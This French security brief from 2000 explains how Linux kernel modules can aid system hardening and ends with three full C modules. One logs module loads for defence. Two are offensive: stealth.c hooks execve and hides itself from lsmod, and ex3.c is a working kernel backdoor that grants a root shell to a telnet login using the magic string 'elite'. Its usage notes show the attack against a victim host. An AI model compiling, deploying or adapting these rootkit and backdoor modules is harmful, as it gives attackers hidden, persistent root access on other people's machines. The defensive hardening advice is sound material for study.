|
|
 | |  |  | Modules : quel avantage pour la sécurité ? |  |
par Frédéric Lavécot (25/10/2000)
--[ Introduction
Cette brève est destinée à montrer que les modules peuvent aider
l'administrateur système à sécuriser sa (ses) station(s).
Ce document est destiné à donner des exemples et à approfondir la partie
"Les avantages (des modules) pour l'administrateur" de la présentation :
"Les caractéristiques de Linux en sécurité" de Denis Ducamp :
http://www.hsc.fr/ressources/presentations/linux2000/index.html.fr
--[ Rappels
Les modules permettent d'ajouter des fonctionnalités au noyau sans avoir à le
recompiler ni avoir besoin de redémarrer le système.
Les modules se chargent et se déchargent dynamiquemment grâces aux commandes
insmod et rmmod. Il faut être root pour charger des modules donc une station
ne peut pas être compromise à cause des modules.
Les modules ne sont pas directement liés à la sécurité de la machine mais
s'éxécutant dans l'espace noyau du système, ils ont le contrôle total
de la machine. Cela leur permet de détourner les appels systèmes,
d'accéder à tous les fichier et de tuer tous les processus.
C'est pour cela qu'un attanquant prenant le controle d'un systeme peut
devenir literralement invisible.
Notamment grâce à un rootkit du style adore.
http://teso.scene.at/releases.php3
--[ Comment se proteger des modules ?
En compilant un noyau monolitique : c'est à dire :
- sans modules (répondre Y ou N à toutes les options du noyau)
- sans le support module activé :
Répondre N à Enable Module Support dans Loadable Module Support
[note : le document http://thc.pimmel.com/files/thc/LKM_HACKING.html explique
comment patcher un noyau et donc contourner l'impossibilité de charger des
modules]
En supprimant le privilège CAP_SYS_MODULE grâce au fichier
/proc/sys/kernel/cap-bound.
L'utilitaire lcap permet un accès aisé à ce fichier.
On trouve lcap à l'URL suivante :http://pweb.netcom.com/~spoon/lcap/
Les privilèges sont en dehors du cadre de cette brève mais sont trés bien
expliqués dans le document "Les caractéristiques de Linux en sécurité" de
Denis Ducamp :
http://www.hsc.fr/ressources/presentations/linux2000/linux2000.html.fr
--[ Qu'est-il est possible de faire avec les modules pour se proteger ?
Tout ! Les modules font partie du noyau et peuvent prendre le contrôle,
altérer le fonctionnement ou observer l'état du système. Les modules peuvent
créer ou intercepter des appels systèmes.
La seule limite est l'imagination de l'administrateur
--[ Exemples
Intercepter l'appel système init_module qui est appelé lors du chargement
d'un module. Cela permet à l'administrateur d'être prevenu si quelqu'un
essaye de charger un module.
(Un exemple d'un module réalisant cette interception est donné en fin
de document).
Vérifier les paramètres de certains appels systèmes.
Journaliser toutes les commandes de certains utilisateurs.
Ajouter une fonction d'authentification pour certaines fonctions critiques
(chargement de module, passage en mode promiscuous, ...)
Il existe aussi quelques modules (déja ecrits) qui peuvent aider à
sécuriser une station :
stealth.c : ce module (qui peut aussi être compilé à l'interieur du noyau)
permet de journaliser et de refuser tous les paquets qui arrivent avec des
flags mal positionnés.
stealth.c se trouve à http://www.innu.org/~sean/sytek.htm
11logger (de antirez) : patch du noyau plus module qui permet de journaliser
tous les signaux SIGSEGV (segmentation fault). Cela permet de repérer
quelqu'un qui tente d'exploiter un debordemment de buffer sur sa machine.
11logger se trouve à http://www.kyuzz.org/antirez/sigsegv/
-----------------------------------------------------------------------------
Ici sont regroupés trois modules pour vous montrer ce qu'il est possible de
faire avec les noyaux.
intercept.c : permet d'intercepter l'appel système init_module et d'envoyer
un message au noyau à chaque fois qu'un module est inséré.
stealth.c : exemple de comment un module peut se cacher.
ex3.c : exemple de comment on peut obtenir un shell root a travers un telent.
_____________________________________________________________________________
intercept.c
/*
Intercept the init_module() systemcall
and send a message to the kernel
written by Frederic Lavecot : frederic.lavecot@hsc.fr
almost all of the source has been taken from :
How to intercept Syscalls in (nearly) Complete Linux Loadable Kernel Module
by pragmatic / THC
and
the adore root-kit
by Stealth
!!!! NO SMP SUPPORT !!!!
By looking at the stealth module by Derek Callaway
I guess adding these lines after the #include would do but I have no way
to test this.
#ifdef __SMP__
#define SLOT_NUMBER() (cpu_number_map[smp_processor_id()]*2 + !in_interrupt())
#else
#define SLOT_NUMBER() (!in_interrupt())
#endif
To compile :
gcc -c -O2 -Wall -I/usr/src/linux/include -DMODVERSIONS <file>.c -o <file>.o
*/
#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif
#include <linux/config.h>
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/malloc.h>
#include <linux/unistd.h>
#include <linux/string.h>
#include <sys/syscall.h>
#include <asm/uaccess.h>
#include <linux/smp_lock.h>
#include <asm/segment.h>
extern void* sys_call_table[]; /* sys_call_table is exported, so we
can access it */
int (*orig_syscall)(const char *name_user, struct module *mod_user);
/* the original systemcall */
/*
* Copy the name of a module from user space.
*/
/* from the /usr/src/linux/kernel/module.c file that comes with the kernel */
static inline long
get_mod_name(const char *user_name, char **buf)
{
unsigned long page;
long retval;
if ((unsigned long)user_name >= TASK_SIZE
&& !segment_eq(get_fs (), KERNEL_DS))
return -EFAULT;
page = __get_free_page(GFP_KERNEL);
if (!page)
return -ENOMEM;
retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
if (retval > 0) {
if (retval < PAGE_SIZE) {
*buf = (char *)page;
return retval;
}
retval = -ENAMETOOLONG;
} else if (!retval)
retval = -EINVAL;
free_page(page);
return retval;
}
int hacked_syscall(const char *name_user, struct module *mod_user)
{
char *name;
long namelen;
printk(KERN_INFO "\n\n!! LOADING A MODULE !!\n");
if ((namelen = get_mod_name(name_user, &name)) < 0)
{
printk(KERN_INFO "!! Could not read module name\n");
}
else
{
printk(KERN_INFO "!! Module %s loaded\n",name);
}
/*
Do anything you want like :
send a packet to a remote station
send a message to the kernel
send a signal to a process ...
add an authentication function
BUT be carefull you are in kernel space !
*/
return orig_syscall(name_user, mod_user);
/*don't forget to call the original system-call*/
}
int init_module(void) /*module setup*/
{
struct module *m = &__this_module;
orig_syscall=sys_call_table[SYS_init_module];
sys_call_table[SYS_init_module]=hacked_syscall;
printk(KERN_INFO "Module %s loaded\n",m->name);
printk(KERN_INFO "Tracing init_module systemcalls\n");
return 0;
}
int cleanup_module(void) /*module shutdown*/
{
sys_call_table[SYS_init_module]=orig_syscall;
/*set back the original systemcall */
printk("Systemcall tracing Terminated\n");
return 0;
}
------------------------------------------------------------------------------
stealth.c
/*** A kernel-module for 2.2 kernels, hiding itself.
*** It was easier in 2.0 kernels and i found all the old
*** techniqes not to work. So i invented new one. ;-)
*** (C) 1999/2000 by Stealth.
*** All under the GPL. SO YOU USE IT AT YOUR OWN RISK.
*** http://www.kalug.lug.net/stealth
***
*** Greets to all my friends, you know who you are.
***/
#define __KERNEL__
#define MODULE
#include <linux/module.h>
#include <linux/kernel.h>
#include <sys/syscall.h>
#include <linux/unistd.h>
#include <linux/sched.h>
#include <asm/uaccess.h>
#include <linux/mm.h>
#include <linux/smp_lock.h>
#ifndef NULL
#define NULL ((void*)0)
#endif
extern void *sys_call_table[];
int (*old_exec)(struct pt_regs regs);
int new_exec(struct pt_regs regs)
{
int error = 0;
char *filename;
lock_kernel();
filename = getname((char*)regs.ebx);
error = PTR_ERR(filename);
if (IS_ERR(error))
goto out;
printk("Hi, the hook is still installed. ;-)\n");
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
out:
unlock_kernel();
return error;
}
int init_module()
{
int i = 0;
struct module *m = &__this_module, *lastm = NULL,
*to_delete = NULL;
EXPORT_NO_SYMBOLS;
/* install hook */
old_exec = sys_call_table[__NR_execve];
sys_call_table[__NR_execve] = new_exec;
/* get next module-struct */
to_delete = m->next;
if (!to_delete) {
printk("No module found for exchange }|-(\n");
return 0;
}
/* and steal all information about it */
m->name = to_delete->name;
m->size = to_delete->size;
m->flags = to_delete->flags;
/* even set the right USE_COUNT */
for (i = 0; i < GET_USE_COUNT(to_delete); i++)
MOD_INC_USE_COUNT;
/* and drop the attacked module from the list
* this won't delete it but makes it disapear for lsmod
*/
m->next = to_delete->next;
printk("The following modules are visible now:\n");
while (m) {
printk("%s\n", m->name);
m = m->next;
}
printk("Tzzz... (sleeping)\n");
return 0;
}
int cleanup_module()
{
sys_call_table[__NR_execve] = old_exec;
return 0;
}
------------------------------------------------------------------------------
ex3.c
/*** LINUX 2.2.x & 2.0.x kernel based backdoor for special logins. (net-version)
*** (C) 1999/2000 by Stealth <stealth@cyberspace.org>,
*** ### Use it at your own risk, for educational purposes only, ###
*** under the GNU public license.
***
*** Usage: (after cc -c -O2 ex3.c and the other things)
***
*** [eve@evil]$ telnet victum.net
*** Trying 66.66.66.66 ...
*** Connecting to victum.net
*** ...
*** victum login:<elite>Connection closed by foreign host
*** [eve@evil]$ telnet victum.net
*** Trying 66.66.66.66 ...
*** Connecting to victum.net
***
*** [root@victum]#
*** Voila!
*** NOTE, that in the short gap of time between the 2 telnet's, _everyone_
*** who telnet's to victum.net will get a rootshell!
***
*** You should know, that it's possible to hide this module, so you
*** cannot see it via 'lsmod'. I didn't implemented this to avoid
*** real-live testings by script-kiddiez.
*** The module was tested on RH 5.1 with kernel 2.0.35 and 2.2.5
*** and works well there.
***/
#define __KERNEL__
#define MODULE
#define S_KERNEL_VERSION(a,b,c) (((a) << 16) + ((b) << 8) + (c))
#define ELITE "elite"
#define SHELL "/bin/bash"
#define LOGIN "/bin/login"
#define TELNETD "/usr/sbin/in.telnetd"
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/types.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/sched.h>
#include <asm/segment.h>
#include <linux/mm.h>
#if LINUX_VERSION_CODE < S_KERNEL_VERSION(2,2,0)
#define OLD_KERNEL
#else
#include <asm/uaccess.h>
#endif
extern void *sys_call_table[];
/* this functions will we replace */
int (*o_read)(int, char*, int);
int (*o_execve)(struct pt_regs regs);
int (*o_exit)(int);
/* for the PID of in.telnetd */
int telnetd = -1;
/* will we go to supervisor mode ? */
int ok_give_her_a_shell = 0;
/* true if SHELL is not exec'ed */
int not_a_shell = 1;
/* 1st replaced systemcall */
int n_read(int fd, char *s, int len)
{
int r = 0;
static int howmuch = 0;
static char elitelogin[100] = {0};
/* call it as normal */
r = o_read(fd, s, len);
/* if this is called by in.telnetd AND from 'stdin' AND
* we didn't already gave for this PID a shell AND she is unprivileged
*/
if (!fd && current->pid == telnetd && howmuch < 90 &&
not_a_shell && !ok_give_her_a_shell) {
#ifdef DEBUG
printk("%d", howmuch);
#endif
/* ignore first telnetproto-stuff; only fetch login */
if (howmuch >= 6)
#ifdef OLD_KERNEL
elitelogin[howmuch-6] = get_user(s);
#else
get_user(elitelogin[howmuch-6], s);
#endif
howmuch++;
}
/* Do we got a login ? */
if (howmuch >= 6+strlen(ELITE) && current->pid == telnetd) {
#ifdef DEBUG
printk("%s\n", elitelogin);
#endif
/* Is it our special one ? */
if (strncmp(elitelogin, ELITE, strlen(ELITE)) == 0) {
#ifdef DEBUG
printk("Ok, switching into elite-mode.\n");
#endif
ok_give_her_a_shell = 1;
}
/* put us back to normal mode; next one can dialin ;-) */
telnetd = -1;
howmuch = 0;
memset(elitelogin, 0, 100);
/* quit in.telnetd */
if (ok_give_her_a_shell)
o_exit(0);
}
return r;
}
/* redirected execve() call */
int n_exec(struct pt_regs regs)
{
int error = 0;
char *filename = NULL, *ar, **argv;
/* get filename from user-space */
#ifdef OLD_KERNEL
if ((error = getname((char*)regs.ebx, &filename)) != 0)
return error;
#else
filename = getname((char*)regs.ebx);
#endif
if (ok_give_her_a_shell && strncmp(filename, LOGIN, strlen(LOGIN)) == 0) {
#ifdef DEBUG
printk("spawning a shell...\n");
#endif
strcpy(filename, SHELL);
argv = (char**)regs.ecx;
/* set argv[1] to '\0' */
put_user(0, argv + 1);
/* go into SHELL-mode */
not_a_shell = 0;
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
#ifdef DEBUG
printk("Ok, connection should be established...\n");
#endif
/* after this, the strange if() above should give true for
* next session
*/
ok_give_her_a_shell = 0;
telnetd = -1;
not_a_shell = 1;
return error;
}
/* look if telnetd is called */
if (strncmp(filename, TELNETD, strlen(TELNETD)) == 0 && telnetd == -1)
telnetd = current->pid;
#ifdef DEBUG
printk("execve(\"%s\") called\n", filename);
#endif
/* execute as normal */
error = do_execve(filename, (char**)regs.ecx, (char**)regs.edx, ®s);
putname(filename);
return error;
}
/* redirect the syscalls */
int init_module(void)
{
#ifdef OLD_KERNEL
register_symtab(NULL);
#else
EXPORT_NO_SYMBOLS;
#endif
o_execve = sys_call_table[__NR_execve];
o_read = sys_call_table[__NR_read];
o_exit = sys_call_table[__NR_exit];
sys_call_table[__NR_execve] = (void*)n_exec;
sys_call_table[__NR_read] = (void*)n_read;
return 0;
}
int cleanup_module(void)
{
sys_call_table[__NR_execve] = o_execve;
sys_call_table[__NR_read] = o_read;
return 0;
}
|